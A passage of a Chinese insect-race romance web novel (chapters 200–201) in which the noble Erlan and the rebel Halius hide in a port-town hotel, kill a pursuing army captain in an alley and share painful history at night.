糟糕到哪怕他这种SSS级雄虫疗愈起来也有些棘手。 剪开对方身上的军装外套时,沉甸甸湿漉漉的重量能轻易拧出一整盆的血。 厄兰既可惜哈琉斯当时没有直接捏碎缇宁的喉骨,也可惜自己开枪的时候没有打穿对方的脑袋,不过这两只雌虫的脑袋当时离得实在太近了,鬼使神差的,他的枪就往下偏移了几寸。 等替哈琉斯包扎好伤口,已经到了后半夜。 厄兰也没什么精神再折腾,洗完澡就躺在沙发上准备睡了,只是闭眼的时候,大脑依旧控制不住想着别的事。 帝都的援军已经抵达雾牙港,说不定明天就会进行大规模搜捕,不知道这间旅馆能不能幸免? 军部派系太多,也不知道这次过来的是哪只队伍,如果也掺和进了当年的秘金事件,他们一定会疯狂追杀哈琉斯,绝不可能让他活着离开南部。 啊,这么一想事情就有些麻烦了。 厄兰虽然自认为权力滔天,但终究不是在自己的地盘上,谁也没法保证不会出纰漏,保险起见还是先躲着,等哈琉斯养好伤再想办法把对方送回北部吧。 他思及此处,控制不住偏头看向床上陷入昏迷的银发雌虫,不知是不是因为这间套房的装修色系和他在帝都的住处有些像,又或者头顶的水晶吊灯色泽过于潋滟,有那么一瞬他也会产生恍惚,感觉自己已经回了家。 ——假如没有当年那场变故,他们应当是这样的。 住在同一间屋子里,睡在同一张床上。 但也只是假如而已…… 这间旅馆的服务员很有职业道德,第二天中午就准时按响门铃,把那枚戒指折算成的星卡给厄兰送了过来,只要不离开雾牙港,他可以在任意消费场所使用里面的金额。 厄兰曾经不动声色向服务员打听过外面的动静,果不其然得到军队正在大规模搜捕全城的消息,但侍者却依旧不见惊慌,仍是那副笃定的笑意: “阁下,请不要担心,只要您付足了房费,我保证不会有任何虫搜到这里。” 仿佛是为了映证他的话,接下来的几天果然风平浪静,外面的赌博声依旧嘈杂,丝毫没有受到军队搜捕的影响。与此同时,哈琉斯的伤势也在慢慢恢复,胸口血肉破碎的伤口结了一层厚厚的血痂,等血痂脱落,新生的皮肤也就长出来了。“为什么救我……. 这是哈疏斯苏醒后说的第一句话,他目光晦暗地盯着天花板,不知在想些什么,嗓子因为失血过多和虚弱而变得嘶哑,但那股毒蛇般的阴冷感依旧挥之不去。这副残破的身躯并没有让他变得软弱可欺,恰怡相反,看起来更危险了,仿佛只要你放松戒备不小心踩上去,他就会随时弹起用剧毒的獠牙给予你致命 击。 厄兰虽然救了哈琉斯,但同时也暗暗警惕着这只危险的雌虫,所以他并没有趁着对方伤重的时候摆出一副奚落讥讽的态度,照旧还是那副假惺惺的深情模样,语气诚恳真挚: “你忘了,我们可是未婚夫,我不救你谁救你?” 他握住哈琉斯苍白瘦削的指尖,继续睁着眼睛说瞎话,深情款款:“我说过了,嫁鸡随鸡,嫁狗随狗,你去南部我也去南部,你去北部我就陪着你一起去北部,绝不反悔。” 哈琉斯发出一声讥笑:“冕下,您编的我都快信了。” 但他忽然想起这只雄虫好像确实是那么做的,唇边弧度又渐渐消失了。 对方明明可以不杀缇宁,却当着他的面开了那一枪。 对方也大可以跟着救援队伍一起回帝都,却偏偏带着他躲到了这里。 想不明白的事总是令虫烦躁的。 哈琉斯倏地从床上坐起身,那双阴鸷冰冷的眼眸微微眯起,一动不动盯着厄兰,就在后者已经开始怀疑是不是自己的演技太过恶心惹得哈琉斯要暴揍他时,对方却直接移开视线,掀开被子起身进了浴室,“砰”一声关上门。哗啦啦,淅沥沥。 里面传出花洒放水的声音,热气顺着门缝飘出,混合着沐浴露的味道。 厄兰瞥了眼被血迹斑驳的床单,直接按铃让服务员过来换洗,自己则戴上面具悠哉悠哉地坐在沙发上看杂志。 服务员进屋铺床时,浴室里的水声微不可察停了一瞬,过了几秒才恢复正常,警惕得不像话。厄兰眼见服务员打扫完卫生准备离开,似笑非笑勾了勾指尖,把一张卡片塞到了对方的上衣口袋: “帮我买几套替换衣服,小费从卡里扣。” 他虽然戴着面具,但身形很是修长,骨节分明的指尖白皙细腻,全然不似外面那些五大二粗的星盗,面具后方的紫色眼眸总是带着淡淡的笑意,蛊惑心神。 饶是服务员训练有素,见状也不由得红了脸颊:“好的先生,我等会儿就去。” 他们收拾好东西,静悄悄退出了房间,没过多久就送来几套纯黑色的均码常服,还有扣费完毕的卡。 哈琉斯在里面洗了很久,直到水都冷了这才从里面走出来,他银色的碎发湿漉漉往下滴着水,神色漠然,仿佛丝毫不在意厄兰会看去多少,直接拿起床尾的换洗衣物换上,胸膛处的血痂被尽数洗掉,只剩下泡得发白的伤口。 啊,看来恢复的还不错,他可以随时找机会溜了。 厄兰随手翻了一页杂志,好心提醒道:“营养剂在桌上。” 哈琉斯闻言并没有分出哪怕一丝眼神给桌上那些用来恢复体力的药剂,而是一步步走到厄兰面前,然后缓缓俯身,猝不及防伸手扣住他的后脑靠近自己. “我忽然想起来了……. 哈琉斯唇角微勾,扯开一抹恶劣的弧度,眼眸平静中暗藏癫狂,就像地狱里爬出的恶鬼, “你刚才好像说过……我去哪儿你就去哪儿?” 厄兰眼神飘忽:“啊,是吗?” 哈琉斯亲昵抵着厄兰的鼻尖,嗓音刻意压低,语气是前所未有的温柔,他周身的水汽干了之后有些冰冷,沐浴露香气混杂着空气中还未来得及散去的血腥,形成了一丝诡异的甜腻味道:“现在我打算回北部。” 不是问句,不是选择句,而是一句轻飘飘的陈述句,他脸上纵横交错的伤痕早已痊愈,那张面容实在称得上漂亮,眉眼带着南部雌虫少有的清冷锐气,瞳仁幽紫,像氤氲散开的夜色。 厄兰当初就是看中这张脸,所以才那么轻易就同意了婚事,如果是在南部,他很乐意娶这么一位雌君,但如果是在北部— 别闹了,傻子都知道那里是雄虫的地狱。 厄兰很清楚,面前这只雌虫在等待着自己的投诚,假如回答错误,对方冰冷的指尖说不定下一秒就会利落扭断他的脖子。 厄兰试探性开口:“那……我也跟你一起回北部?” 哈琉斯静静睨着他,并不说话,或许这句话里暗藏的迟疑和问句让虫并不十分满意。 厄兰于是又换了一个说法:“我很想和你去北部,但是…… 哈琉斯听不出情绪的开口:“但是什么?” 厄兰大脑飞速运转,故意吞吞吐吐:“但是……但是那边以雌虫为尊,你过去之后会不会把我一脚踹了,再另外娶别的雄虫?” ……. 哈琉斯淡淡挑眉:“不会。” 厄兰:“我的星民证还在南部,去了北部会不会没办法结婚?” 哈琉斯:“没关系,去北部重新办一张就行了。” 坏了,听语气这家伙在北部混的居然还不错? 哈琉斯:“还有什么要问的?” 厄兰憋了半天才憋出一句话:“那……那你会不会一心一意对我?” 这句话一出,空气陡然陷入了静默。 哈琉斯一言不发望着他,过了片刻才缓缓开口:“只要你不背叛我,现在、将来、至死,你都是我唯一的伴侣,满意了吗?” 过往无数事实都证明,雌虫确实比雄虫要坚贞得多,起码没那么多花花肠子,哈琉斯的前半生在南部接受了无数规训,哪怕中途叛逃北部,亦不能免俗。 看在对方救了自己的份上,哈琉斯决定不计较四年前退婚的事了。 满肚子花花肠子的厄兰深觉搬起石头砸了自己的脚,他内心悔得捶胸顿足,面上却还要强装出一副感动的样子含泪点头:“满意,我特别满意。” 苍天啊,他昨天就溜了多好,真被带去北部还能活?听说北部现任首领是个杀虫不眨眼的大魔头,自己长这么俊俏,哈琉斯能护得住吗? 一整个下午,厄兰都在为自己即将到来的悲惨命运担忧,并思考着自己现在从这家旅馆冲出去找到军队求救还来不来得及,但在哈琉斯漫不经心的盯梢和审视中又打消了这个念头。 七步之内,哈琉斯快。 七步之外,哈琉斯的枪更快。 厄兰伤心得连晚饭都吃不下去了,洗完澡喝了两瓶营养液就倒在沙发上准备睡觉,但没想到躺在床上的雌虫漫不经心掀起眼皮看向他,然后淡淡吐出一句话: “躺上来。” 既然已经决定要结婚,那就是伴侣,没有让雄主睡在沙发上的道理。 厄兰缓缓打出一个问号,怀疑自己听错了:“?” 哈琉斯微不可察皱眉,语气危险:“你不愿意?”. ……愿意愿意愿意。” 厄兰心情复杂地掀开被子躺上了床,盯着被角的花纹发呆,虽然有这么一只漂亮的雌虫陪着睡觉是好事,但他真的很担心后半夜睡熟了会被对方一刀抹喉,毕竟哈琉斯看起来挺像个精神病患者的。 “在看什么?”哈琉斯低沉冰凉的嗓音从身后响起。 “看你像个精神病。”厄兰下意识答道。 话一出口,空气瞬间陷入了可怕的死寂. … 200、逃了逃了 哈琉斯面无表情盯着厄兰,语气听不出喜怒,慢条斯理重复道:“我看起来像精神病?” … 厄兰身形一僵,然后缓缓转头看向他,讪笑两声试图挽回局面:“不,我的意思是你的精神状态非常美。……. 每天不是在发疯就是在发疯的路上,每天不是杀别虫就是杀自己,多么美丽的精神状态啊,厄兰已经很多年都没见到过了。 回应他的是哈琉斯的一声嗤笑,紧接着厄兰感觉自己的脸被一只冰凉的手轻轻拍了拍,对方低沉的嗓音钻进耳朵,格外温柔耐心:“既然知道我是精神病,就别惹我生气了,嗯?” 精神病杀虫都不犯法的。 厄兰闭眼,默默点头。 小命要紧,他懂的。 哈琉斯随手关掉灯,卧室顿时陷入黑暗: “睡觉。“ 厄兰哪里睡的着,满脑子都被逃跑两个字疯狂刷屏,他默默抱紧枕头,心想自己必须得抓紧时间溜了,万一真被带去北部那可真是哭都没地方哭。 接下来的几天,厄兰一直在为逃跑做铺垫,例如故意对旅馆的饭食挑三拣四,说营养剂那种东西完全是速食垃圾,喝得胃都快痛了,他们是不是应该出去买点食物回来自己做饭,或者出去找个餐厅吃一顿。 “搜查还没结束。”哈琉斯淡淡开口,一句话就把他给拍熄火了。 彼时雌虫正在镜子跟前换衣服,黑色高领毛衣遮住大半张脸,又戴了一双遮掩瞳色的隐形眼镜,两把枪塞进枪套里,又换了一件黑色夹克遮住,最后扣一顶帽子,阴影下方的眼睛变成了路边最常见的浅棕色。 他屈指轻抬帽檐,那双仿佛可以窥透一切的双眼盯着厄兰,意味深长警告道: “我出去打听情况,你老老实实待在旅馆,别出门,午餐让侍者送进来。” 厄兰闻言心念一动,他故意装出一副有气无力的样子瘫在沙发上,不用装都是一副养尊处优的少爷模样: “不,我都不可能再喝营养液那种鬼东西了,我闻到味道就想吐。” “吐了就继续喝。” “你是不是想饿死我然后自己去北部?!” “我可以直接掐死你,饿死太麻烦。” 哈琉斯冷冷扔下这句话,直接转身离开了房间,大门关上发出一声闷响,空气彻底静了下来,就连赌场的嘈杂声都听不见——应该还没开局。 厄兰故意等了半天,确定哈琉斯真的走了,这才一骨碌从沙发上起身,然后换了身低调不起眼的衣服,顺带着扣上一张面具— 他压根就没打算遮掩容貌,现在外面都是搜查的军队,他需要做的就是顺顺利利离开这间旅馆,然后大街上随便找一队士兵,让他们把自己平安带回帝都,把脸易容了谁还能认出他是厄兰冕下? 出名就是好,逃命都比别的虫少几个步骤。 厄兰收拾妥当,直接推门离开了房间。 这家旅馆白天格外冷清,与夜晚的喧器形成群明对比,就连那张平常热师非凡的赌桌此刻也空空荡荡,只有一名服务员埋首于前台,专注地清点着账目,对厄兰的房开连眼皮都没抬一下。 厄兰循着记忆中的路线在错综复杂的黑石巷中穿行,这些弯弯曲曲的小路就像迷宫一样让虫晕头转向,他不得不反复折返好几次才终于找到出口。就在厄兰即将踏出巷口时,一队巡逻士兵恰好经过,他们身着不同于当地驻军的制式服装—分明是来自帝都的派系。 厄兰见状脚步一顿。 “队长,我们已经搜查这么多天了,到现在还是没有线索。”一名士兵低声抱怨道,“厄兰冕下很可能已经被叛军挟持到北部了,不如我们早点回去提交报告,让高层直接跟北部交涉吧。再这样耗下去,我们的补给都快见底了。” 被称作队长的军雌看军衔似乎是一名上尉,他眉头紧皱,神情难掩阴沉:“你们确实搜了很多天,但这片地方你们一直都没有搜到。“ 部下为难开口:“雾牙港情况特殊……驻军长官再三警告我们不能靠近这家旅馆,里面聚集的流亡犯和雇佣兵势力庞大,万一捅了这个马蜂窝引发暴乱,整个雾牙港的驻军都难以镇压,我们此行的主要任务是营救被劫持的雄虫,实在不适合节外生枝啊…… 雾牙港的民风堪称“彪悍”,这里的居民完全不懂什么叫军民合作,刚才他们在附近挨家挨户打探消息时,每家店铺都摆出一副“不买东西免开尊口”的架势,稍有不慎就会被店主拿着扫帚赶出门外,现在每个士兵手里都拎着大包小包——都是被迫购买的“门票”,让他们既无奈又窝火。 上尉冷不丁开口:“你们既然不愿意巡逻,就先回营地。” 部下一噎:“呃……. 他可没胆子把长官扔在这里。 上尉拧眉:“怎么,没听见我的命令吗?“ “不不不,我们这就走,这就走。” 能溜谁不想溜,那群士兵互相对视一眼,连忙脚底抹油走了。 上尉眼见部下离开,不动声色瞥了眼黑漆漆的巷口,他并没有立刻过去,而是走到对面一家卖糕点的小店里面打探情况。 “对面就是黑石巷?” “这包点心两百星币。” 上尉阴着脸抽出两张钞票,胖墩墩且凶神恶煞的店主这才剔着牙笑道:“是。” 上尉又抽出一张钞票放在桌上:“里面有一家旅馆?” 店主上下打量着他:“是,不过有规矩,沾军”字的都不能进,万一被发现……… 他笑了一声:“您不会想知道下场的。” 上尉最后抽出一摞钞票,定定望着他问道:“如果巷口发生枪战,或者死了虫,旅馆会管吗?” 店主芝麻大小的眼睛闪烁着贪婪的目光,心想这群帝都来的羊崽子可真是够肥的,他一边把钱数得哗啦哗啦作响,一边尽职尽责回答问题:“别说旅馆,就连驻军也不会搭理,你只要不在旅馆里面惹事,外面的枪战他们可是不管的,就算把尸体丢门口也没事。” 上尉得到自己想要的答案,拎着一袋点心离开了,径直走进那条漆黑幽深的巷口—如果他刚才没看错,里面闪过了一双熟悉的紫色眼眸,狡猾而又漂亮,整个帝都都难找到第二双。 厄兰眼眸微眯,紧盯着那群巡逻兵的一举一动,内心纠结—到底是该主动上前,还是继续观望?就在他犹豫的片刻,戏剧性的一幕发生了:领头的军官突然解散了队伍,独自拐进街角一家点心店,出来后目标明确地朝巷口靠近。 刺目的阳光驱散了对方帽檐下的阴影,当那张熟悉的面容映入眼帘时,厄兰瞳孔骤缩,拔腿就跑,但没想到对方速度更快,一个箭步上前扣住他的肩膀,然后重重抵在斑驳的墙面上,扯下他脸上的面具。 “真是好久不见,厄、兰、冕、下!” 埃维上尉的声音像是从牙缝里挤出来的,每个字都带着咬牙切齿的恨意。 厄兰的后背紧贴着粗糙的墙面,只能挤出一个完美的微笑:“好久不见,埃维上尉。” 真该死,厄兰心中冷冷咒骂,帝都那群真货这次派来的救援指挥官居然是缇宁的堂弟,这兄弟俩好的都快穿一条裤子了,对方不帮缇宁找自己算账才怪! 埃维目光愤怒阴冷,恨不得一把掐死厄兰:“我还以为您早就死在那群叛军手里了,没想到居然还好好活着,你知不知道缇宁现在还躺在重症监护室里,这一切都是拜你所赐!!” —什么?缇宁那家伙居然没死? 厄兰上次亲眼看见缇宁的喉咙被哈疏斯都快捅烂了,血肉一片模糊,之后自己又补了一枪正中后背心口,那种伤势换作普通虫族早就死透了,那家伙居然还能吊着一口气? 这命也太硬了吧?! 心里这么想,厄兰却露出一副担忧的神情:“什么?缇宁居然躺在重症监护室里?他的伤还没好吗?” 埃维用力掐住厄兰的脖颈,语气阴沉,神情一度显得有些狰狞:“他的伤势您应该比我更清楚吧?您不止送了他一颗枪子,还和哈琉斯那个可恶的叛军同流合污想要他的命,厄兰冕下,您说我是不是该替缇宁回个礼呢?”他刚才遣散队伍为的就是掩虫耳目。 毕竟谁让南部的律法那么不公平呢,厄兰杀了缇宁不一定会受到什么处罚,但如果他杀了厄兰,那就一定会万劫不复。 厄兰露出一抹担忧且惊讶的神情:“埃维上尉,你怎么会这么想呢?到底是谁在你的面前胡说八道?” 埃维冷笑:“这是缇宁亲口告诉我的,你趁他不注意从后面偷袭,帮着那名叛军打了他一枪!厄兰冕下啊厄兰冕下,你知道通敌卖国是什么罪名吗?” 厄兰更惊讶了,惊讶的同时还伴随着伤心:“缇宁怎么能这么想我?我看见他和那名叛军在打斗,担心他受伤才拿着枪上去帮他的,但是我从来都没开过枪,所以不小心打偏了……他说着状似自责的低下了头,眼眶都红了:“都怪我,都怪我,缇宁误会了也是应该的。” 埃维惊疑不定望着他:“你说的都是真的?” 厄兰抬头看向他,那双烟紫色的眼眸在阴影中因为泪意更显潋滟,长发用丝带侧扎着落在肩头,哪怕是穿着最简单的黑色衣服也难掩惊艳夺目,埃维不禁有了片刻失神,他听见厄兰哽咽开口: “当然是……. 噗嗤——! 是军刃划破布料刺进血肉的声音,厄兰不知从哪里抽出一把闪着寒芒的匕首毫无预兆刺进他的腹部,紧接着趁埃维惊骇后退的时候又狠狠刺进他的心口,鲜血喷涌而出,溅在雄虫白皙的侧脸上有一种血腥诡艳的美感。厄兰唇边笑意恶劣,他一边缓缓转动刀身,一边慢条斯理开口:“当然是……假的啊~” “埃维上尉,不得不说,你和你的堂哥智商有得一拼,那么下场也只能是像他一样蠢死了。” “你…… 埃维的嘴唇颤抖着,瞪大眼睛想要说什么,却只能吐出大口大口的鲜血,他的身体缓缓靠墙滑落,最终重重倒在那摊血泊中。 厄兰见状漫不经心抽出匕首,蹲下身借着对方的军服擦了擦血迹,他做这些事的时候唇边弧度几乎没变过,巷口阴影斜落下来,将他笑吟吟的面容分割成了两半,一半像恶魔,另一半更像恶魔。 “替我向缇宁少将问好,祝他早日康复,毕竟……你们兄弟很快就能团聚了。” 找军队求救看来并不是明智之举,稳妥起见他还是去买个通讯器联络雌父他们算了,前段时间外面搜查得严,他都没找到机会出门。 厄兰把匕首重新藏进袖子,捡起地上的面具正准备离开,但没想到刚转身就见巷口斜倚着一抹黑色的颀长身影,对方帽檐下方那双棕色的眼眸在他和埃维之间慢悠悠打了个转,然后站直身形一步步走近,语气耐虫寻味: “亲爱的雄主,能告诉我这里刚才发生了什么吗?以及……你为什么要跑出来?” 居然是哈琉斯! 厄兰眼前一黑,差点没站稳,心想自己今天出门难道没看黄历吗,否则怎么一个二个都撞上来了?!厄兰强装镇定,露出一抹惊喜的表情:“哈琉斯,你怎么这么快就回来了?!”哈琉斯双手抱臂,黑色的作战靴浸不经心踢了踢地上奄奄一息的军雌,他眯眼注视着厄兰,声音冷得像淬了冰:“回答我的话,为什么要出来?”厄兰用最简洁的语言讲述了一个故事“我俄了,想出门买点东西,结果不小心被这只巡逻的军雌撞上,他想带走我,我就把他杀了。”谢天谢地,哈琉斯并不知道他和缇宁之间的恩怨,这个理由应该能蒙混过关。哈琉斯扫了眼厄兰空空如也的双手:“那你买的东西呢?”厄兰慌乱四顾,突然发现脚边不知何时多了个点心袋,他如获至宝般捡起来,心想真是天助他也:“在这里,我特意多买了点,想和你一起吃的。”就在他们说话间,墙角原本昏死过去的埃维不知何时从哈琉斯身后摇摇晃晃站了起来,他恶狠狠盯着厄兰,艰难从腰间拔出配枪对准他,结果还没来得及扣动扳机,哈琉斯就倏地抽出一把匕首,快如闪电转身狠狠捅进了他的咽喉。“噗嗤——!” 这一刀又狠又快,几乎削掉了埃维半个脖子,鲜血喷出三尺高,整个巷口都弥漫着浓厚的血腥味。埃维的瞳孔骤然放大,难以置信地低头看向自己喷血的脖颈,他的身体像断了线的风筝般轰然倒地,溅起的尘十混合着鲜血,在地上晕开一片暗红的痕迹。只是这一次,他再也不可能站起来了。厄兰看呆了,手里的点心袋了差点没拎住掉在地上。哈琉斯面无表情拔出匕首,鲜血顺着锋刃滴落在地,发出“嘀嗒”的轻响,他转身看向厄兰,那双深紫色的眼眸尽管经过伪装有一种平静的错觉,但依旧难掩里面深藏的嗜血欲望:他一字一句,轻飘飘开口,“记住,这才叫杀。”哈琉斯语罢垂眸扫了眼厄兰手里的点心袋子,不知在想些什么,周身戾气悄无声息散去,听不出情绪的反问道:“还不走,等着我请你?”“啊?哦哦哦哦。”厄兰如梦初醒,连忙拎着点心转身回了旅馆,速度快得活像后面有鬼在追。#妈的,吓死他了#作者有话说?显示所有文的作话 201、拥抱 [他身死于腐败之地,终被群鸦啄食。] 暮色垂落,最后一缕天光也被夜空悄然吞噬。 旅馆的赌场又重新热闹起来,金灿山的星币堆积如山,在昏黄的灯光下恍若一座虚幻的宫殿,为这群亡命之徒构造出一场纸醉金迷的幻梦。 埃维的尸体瘫倒在巷口,鲜血顺着咽喉流尽,他灰败的眼睛一动不动盯着天空,似乎想控诉什么,可惜那些字 句早已被风吹散,恰似世间无数真相,总要埋进某个不见天日的坟场,任由风雨侵蚀,腐烂成泥。 厨房里,哈琉斯单手插兜站在案台前切菜,他漫不经心抬眼看向窗外,恰好将巷子里的景象尽收眼底:那具逐 渐僵硬的尸体先是被海鸟啄食得面目全非,继而又被闻讯赶来的巡逻队草草拖走,一场雨落下,连血痕都不再清晰。 而造成这一切的罪魁祸首——起码算是共犯之一,此刻正懒洋洋倒在沙发上翻看杂志,丝毫没有手上沾血的恐慌惊惧,心安理得等着自己给他做饭。 “砰!” 哈琉斯忽然面无表情把刀背拍向案板,直接把刚刚剥好的红英果拍成了泥,而厄兰也被这声巨大的闷响吸引了注意力,他从杂志后方微微偏头,下意识问道:“怎么了?” 哈琉斯一言不发,继续把剩下的食材剁碎,深更半夜很容易让虫怀疑他在分尸。 厄兰心想难道是干活不高兴了? 不过也有道理,谁干了活能高兴的。 他深觉自己猜到答案,放下杂志走到雌虫身边,背靠着墙壁说话的样子像极了一只笑眯眯的狐狸,势必把情绪价值给得足足的:“要我帮你一起做饭吗?” 哈琉斯连眼皮都懒得掀:“你会?” 厄兰摇头,笑得愈发无辜:“不会。” 他就是客套一下。 哈琉斯今天回来的时候手里拎着一个袋子,厄兰原以为里面会装着枪或者子弹,但没想到居然是一些 新鲜时蔬,大概率是因为他前两天抱怨了一下营养剂这种速食垃圾味道 糟糕,喝完之后浑身都不舒服。 —这只雌.……看起来好像也没有那么冷冰冰的? 厄兰若有所思开口:“你… “闭嘴!” 哈琉斯“咣”地剁下半截青瓜,溅起的碎块差点崩在厄兰鼻尖上,他终于偏头看向雄虫,侧脸在灯光的照耀下难掩寒意, “再废话就继续去吃你的速食垃圾。” 哈琉斯已经很久没做过饭了。 记忆中上次触碰厨具还是四年前的事情。 当时教导他的厨艺老师说过什么来着? 哦,他想起来了。 “哈琉斯少将,恭喜你在帝国数据库的筛选下与厄兰冕下成功匹配,为了您婚后能够更好地照顾雄虫,厨艺是必不可少的课程。” 然后他把厨艺课学到了满级。 插花课也学到了满级。 现在回过头想想,哈琉斯觉得自己真应该把那个真货的脑袋一枪轰碎,毕竟当年被关进星际监狱的时候,厨艺没能救他,插花没能救他,那个名义上的未婚夫也没有。 他轻扯唇角,难掩讥讽。 切菜的刀尖也停顿了下来,窗外雨声滂沱。 冰冷的雨水飞溅在防盗栏上,看起来和当年的牢房并无二致。 哈琉斯莫名觉得有些喘不过气,他缓缓松开刀,抬手轻扯衣领,不自在活动了一下脖子,耳侧靠近下颌骨的地方,那枚属于背叛者的烙印又开始隐隐作痛,让他的面部神经控制不住抽动了一瞬。 都过去了,哈琉斯心想。 不应该再耿耿于怀了。 耻辱是要用鲜血去洗刷的,而不是泪水。 冒着热气的精致菜肴一道接一道被摆在茶几上,很难想象这些都出自他的手。 哈琉斯坐在厄兰对面,吃得机械麻木,仿佛这些菜和营养剂比起来并没有什么区别,银色的发丝悄然滑落一缕,遮住了那双狭长漠然的眼睛,似一片窥不真切的寒潭。 厄兰却仿佛并没有察觉到空气中的凝滞,有一搭没一搭找对面的雌虫聊天,他笑起来的时候眼尾微扬,紫色的瞳仁在灯光下潋滟夺目,仿佛天生就知道该如何利用自己的美 貌,也最知道该如何拉近距离。 “哇,你做菜原来这么好吃呀,以前专门学过吗?” 砰,无形之中踩爆了一个雷区。 “我当年如果早点娶你,说不定就能早点尝到你的手艺了。” 砰,又一个雷区。 “你也没有我想象中那么凶。” “我听见你问缇宁秘金丢失的事,是不是有什么隐情?” 砰砰砰砰砰! 雷区全爆。 哈琉斯忍无可忍,终于捏断了手里的合金筷子,他缓缓抬眸,神情阴寒地看向厄兰,明明在笑,唇边 弧度却怎么看怎么疹虫,修长的手指隔空轻划,优雅而缓慢地做了个割 喉的动作,语气温柔低沉:“需要我帮你永远安静下来吗?” 厄兰立刻闭嘴,并且做了个拉拉链的动作,手动消音。 餐桌上终于恢复了寂静,只剩下碗筷偶尔碰触瓷盘的轻响,但很明显其中一只虫已经没了胃口,哈琉斯三两下吃完饭,然后起身把碗筷丢进水槽,拿了一件替换衣服进浴室洗澡。 ——再看见厄兰那张脸,他怕自己会忍不住掐死对方。 水雾很快在磨砂玻璃上凝结成细密的水珠,氤氲出一片朦胧的光影,淅沥的水声在密闭的空间里回荡,一度盖过了雨声。 哈琉斯将额头抵在冰凉的瓷砖上,任由热水冲刷着紧绷的背部肌肉,水珠顺着他流畅的身形蜿 蜒而下,在精瘦的腰线处汇聚成流,他闭着眼睛,脑海中却依旧回荡着厄兰说 过的那些话,眉头紧蹙,难掩烦躁。 殊不知在他离开后不到三分钟,雄虫也搁下了筷子。 厄兰身形慵懒后仰,修长的双臂交叠垫在脑后,整只虫陷进沙发里,氤氲的灯光照亮了雄虫微微勾起的唇角,只是那双半阖的眼眸里,翻涌着谁也看不懂的情绪。 他们心知肚明。 假如当年事发的时候,厄兰肯多问一句,以维多家族的权势,想保全一只雌虫不过是一句话的事。 但他没有。 风流恣意的雄虫阁下啊,连目光都吝啬停留,那时的哈琉斯对他而言,不过是光脑上跳动的匹配数据,是万千雌虫中微不足道的一个编号。 而现在,这道编号变成了扎在血肉里的一根倒刺,不碰则已,一碰就会泛起绵密不自知的疼痛。 如鲠在喉,如恨难消。 晚上睡觉的时候,他们之间照旧隔着条手臂的距离,关灯之后整个卧室都陷入了黑暗,唯有窗外的雨淅历不绝,让这座豪华的地下旅馆也不可避免陷入了潮湿。 厄兰在黑暗中睁着眼。 天花板上模糊的阴影随着雨势变幻,就像他们捉摸不透的命运,时而温和,时而扭曲。他偏头看向身旁的哈琉斯,发现对方背对着自己,也不知睡了还是没睡,脊背看起来有些消瘦,就像一柄锋利的军刀被短暂收入鞘中。 “你还有亲属在帝都吗?” 厄兰不知想起什么,开口问道。 哈琉斯闻言在黑暗中悄然睁开双眼,然后又重新闭上,不知是不是错觉,他漠然平静的语气竟然听出了一丝讥讽。 “尊贵的厄兰冕下难道不知道我是孤儿吗?” 厄兰闻言眼底悄然闪过一丝讶异,他还真的不知道:“他们是怎么去世的?” 哈琉斯没有回答。 黑暗中的沉默像是一座无形的大山,压得他们喘不过气来,连窗外的雨声都变得遥远而模糊。 厄兰几乎要被这寂静吞没,困意如潮水般涌来,就在他眼皮沉重得难以支撑时,身旁终于响起了一道声音。 那道声音很轻,轻得一阵风就能吹散,却又仿佛被连绵无尽的阴雨浸透,潮湿、冰冷、沉甸甸。 “我的雌父……杀了我的雄父。” 哈琉斯的声音平静得近乎空洞,仿佛在讲述一个与己无关的故事,细听甚至带着几分玩味, “然后,他也举枪自尽了。” 厄兰闻言瞳孔收缩,怎么也没想到居然会得到这么一个答案:“为什么?” “他背弃了自己的承诺。” 哈琉斯仍闭着眼,唇角带着一丝极淡的弧度, “他婚后和别的雌虫偷情,喝醉后失手.…把我两岁的弟弟推下楼摔死了。” 他的声音轻飘飘的。 “所以我的雌父杀了他,然后对准自己的太阳穴扣下了扳机。” “我是在福利院里长大的。” 忽而暴雨如瀑,嘈杂的声音淹没了一切。 一只蚂蚁顺着窗框竭力攀爬,但又被水流阻住去路,它一次又一次奋力游过对它不啻于汪洋大海的雨滴,艰难泅渡,就好像当年的哈琉斯。 ——从福利院的孤儿到军校榜首,从一介平民到连让权贵都为之侧目的少将,没有谁知道他为此付出了多少努力,后来匹配伴侣时被分配给了帝国唯一的SSS级雄虫,更是羡煞一众旁虫。 就连当时的老师也夸他好命。 厄兰维多,这个名字在帝国代表着最高的等级,最雄厚的背景,最无上的美貌,更重要的是他对外风评极好,没有任何不良嗜好。 哪怕当时的哈琉斯对婚姻并没有任何期待,偶尔也会在星网新闻上瞥见厄兰的身影时下意识驻足,容貌果然张扬夺目,堪称帝国最耀眼的权杖。 那一刻,就连哈琉斯也觉得自己终于好命了一回,得到虫神的眷顾。 并不是因为这只雄虫长得有多么漂亮。 而是因为对方那双烟紫色的眼睛高贵而又淡然,不带任何浑浊戾气,他视着那些地位不如他的虫,同样也鄙视着那些不入流的手段,和那些喜欢以凌.虐雌虫为乐的 雄虫截然不同。 哈琉斯不需要爱。 但假如那只雄虫并不糟糕,他想他可以做一名合格的、优秀的雌君,就像从小到大每次考试测评都拿第一名一样。 然而…… 然而…… 沉默在雨声中发酵,哈琉斯没再说话,厄兰也没再说话,这段往事带来的冲击远比窗外的风雨还要强烈,在胸口横中直撞,却又没办法再吐出半个字。 厄兰张了张嘴:“后来呢?你是怎么到北部的?” 然而哈琉斯只是翻了个身,背对着他,声音彻底融进黑暗里,带着淡淡的讥诮: “睡吧,厄兰,有些故事,并不值得听完。”过程不重要了,重要的是结果。他是叛军,是绑匪,曾经也是一名囚徒,仅此而已。厄兰不知为什么,忽然轻手轻脚掀开被子起身,在黑暗中走到窗前将帘子拉上,片刻后才重新回到床上。他钻进被子,悄无声息伸手把雌虫冰冷的身躯抱进怀里,引得对方脊背猛地一僵。厄兰却没有半分不自在,他墨色的发丝缠绕在哈琉斯肩头,唇瓣紧贴着对方瓷白细腻的耳垂,吐出一句低不可闻的话:“如果能重选一次,你愿不愿意和我回南部?”他或许更想说的是对不起。为他们曾经缔结婚约,为他的视若无睹。既然有了婚姻之名,便不该袖手旁观。厄兰后知后觉意识到,自己曾经是哈琉斯的最后一根救命稻草,今天被劫掠困在这座小镇,又怎么不算另一种意义上的因果?哈琉斯在黑暗中睁开眼,睫毛控制不住颤抖了一瞬:“雌虫目力极佳,清楚看见刚才在窗外玻璃艰难攀爬的蚂蚁被厄兰伸手捞进桌沿,并且在旁边放了一块碎屑面包。高高在上的厄兰冕下,他的眼睛曾经只能看见掠过长空的鹰隼,宏伟的宫殿,滔天的权柄,璀璨的珠宝。 如今他终于也肯低下头,注视那些深陷尘埃的生命。 